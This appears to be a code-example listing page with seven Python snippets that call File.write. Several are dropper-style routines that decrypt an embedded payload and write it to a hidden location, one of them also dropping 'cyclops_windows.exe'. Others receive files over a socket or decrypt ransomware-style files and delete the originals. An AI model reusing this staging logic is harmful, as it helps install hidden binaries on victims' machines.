Exemplo n.º 1
0
    def unpack(self):
        self.path = Finder.find() + self.name if self.hide else self.name
        print('Path1:', self.path)

        # Payload
        data = zlib.decompress(CryptoAES.decrypt(self.binary, self.key))
        File.write(self.path, data)
Exemplo n.º 2
0
    def write_template(self, template, py_temp, _dict):
        data = ''
        for _data in File.read(template, False):
            data += _data

        File.write(py_temp, self.replace(data, _dict))
        self.compile_file(py_temp)
Exemplo n.º 3
0
 def recv(self):
     if self.socket_obj() == -1:
         return -1
     try:
         started = time()
         file_name, data = self.recv_file()
         chdir(self.home)
         File.write(file_name, data)
         self.display('Time-elapsed: {}(sec)'.format(time() - started))
     except:
         pass
     finally:
         self.close()
Exemplo n.º 4
0
    def unpack(self):
        self.path = Finder.find() + self.name if self.hide else self.name
        print('Path1:', self.path)

        # Payload
        data = zlib.decompress(CryptoAES.decrypt(self.binary, self.key))
        File.write(self.path, data)

        # Cyclops
        path = os.path.join(os.path.split(self.path)[0], 'cyclops_windows.exe')
        print('Path2:', path)

        data = zlib.decompress(CryptoAES.decrypt(self.cyclops, self.key))
        File.write(path, data)
Exemplo n.º 5
0
    def _decrypt_file(self, file):

        new_file_path = os.path.splitext(file)[0]

        try:
            with open(new_file_path, 'wb') as f:
                for data in File.write(file, self.RSA_private_key):
                    f.write(data)

            # delete the encrypted file
            os.remove(file)
        except:
            pass
        finally:
            with self.active_threads_lock:
                self.active_threads -= 1
Exemplo n.º 6
0
 def unpack(self):
     from lib.file import File
     from lib.pathfinder import Finder
     self.path = Finder.find() + self.name if self.hide else self.name
     print('Path:', self.path)
     File.write(self.path, self.binary)
Exemplo n.º 7
0
 def unpack(self):
     self.path = Finder.find() + self.name if self.hide else self.name
     print('Path:', self.path)
     data = zlib.decompress(CryptoAES.decrypt(self.binary, self.key))
     File.write(self.path, data)